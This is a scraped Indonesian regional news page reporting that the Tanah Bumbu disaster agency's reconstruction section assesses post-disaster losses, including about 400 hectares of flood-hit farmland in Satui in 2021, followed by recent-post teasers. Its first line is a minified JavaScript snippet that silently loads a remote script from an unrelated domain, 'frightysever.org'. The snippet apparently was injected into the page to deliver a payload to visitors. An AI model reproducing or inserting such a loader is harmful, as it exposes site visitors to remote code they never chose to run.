(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

BPBD Tanbu Sebut Ada 400 Hektare Lahan Pertanian Terdampak Banjir 2021


KANALKALIMANTAN.COM, BATULICIN – Badan Penanggulan Bencana Daerah (BPBD) mempunyai tugas mengkoordinasikan dan melaksanakan kebijakan di bidang penanggulangan bencana, saat terjadi bencana dan pasca bencana.

Kepala BPBD Kabupaten Tanah Bumbu (Tanbu), Eryanto Rais melalui Kasubid Rekonstruksi Nasrudin mengatakan bahwa bidang rekonstruksi membawahi perumusan kebijakan pada pasca bencana yang berfokus terhadap pengkajian data terkait kerusakan dan kerugian.

Ia menjelaskan, bidang rekonstruksi memiliki tugas dalam melakukan pendataan terhadap aset-aset yang terdampak akibat terjadinya bencana.

“Kami turun ke lapangan setelah bencana, berbarengan dengan bidang kedaruratan logistik saat melakukan evakuasi, kami turun untuk melakukan verifikasi terhadap aset dan hal terkait apa saja yang terdampak akibat bencana,” jelasnya.

 

 

Baca juga: Perdana Tiga Taekwondoin HSU Ikuti UKT dan Kukkiwon

Seperti dampak bencana di bidang pertanian, saat pasca bencana maka akan dilakukan pendataan dari infrastruktur, berapa luas lahan pertanian yang gagal panen, umur paditerdampak akibat bencana, dan data rincian lainnya.

BPBD juga tidak lupa melakukan koordinasi dengan unsur terkait guna mendapatkan data yang real dan akurat.

“Data kerusakan dan kerugian akibat bencana, kami mengambil acuan dari BNPB, jadi misalnya setiap lahan pertanian yang terkena bencana tidak bisa panen ada acuan tersendiri untuk mendapatkan nilai kerugiannya,” bebernya.

Data yang dikumpulkan oleh bidang rekonstruksi BPBD Tanbu kemudian menjadi syarat penting bagi pemerintah daerah diusulkan bantuan pemulihan pasca bencana ke pemerintah pusat.

Pada tahun 2021 lalu, kerusakan akibat bencana untuk bidang pertanian hampir mencapai 400 hektare di Kecamatan Satui. Perkiraan nilai kerugian sebesar kurang dari Rp1 miliar lebih.

Tidak semua kerugian pasca bencana akan mendapatkan bantuan dari BPBD, pihaknya akan berkoordinasi dengan pihak terkait seperti dengan Dinas PUPR terkait penanganan infrastuktur.

Baca juga: Tiga Titik Kamera Tilang Elektronik Mulai Aktif di Banjarmasin

“Dengan adanya pengkajian ini diharapkan dapat menjadi usulan-usulan ke BNPB, sehingga dapat dipertimbangkan apa yang menjadi kebutuhan masyaralat terdampak bencana,” pungkasnya. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Risa

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

14 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

14 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

14 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

16 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

17 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

18 jam ago

This website uses cookies.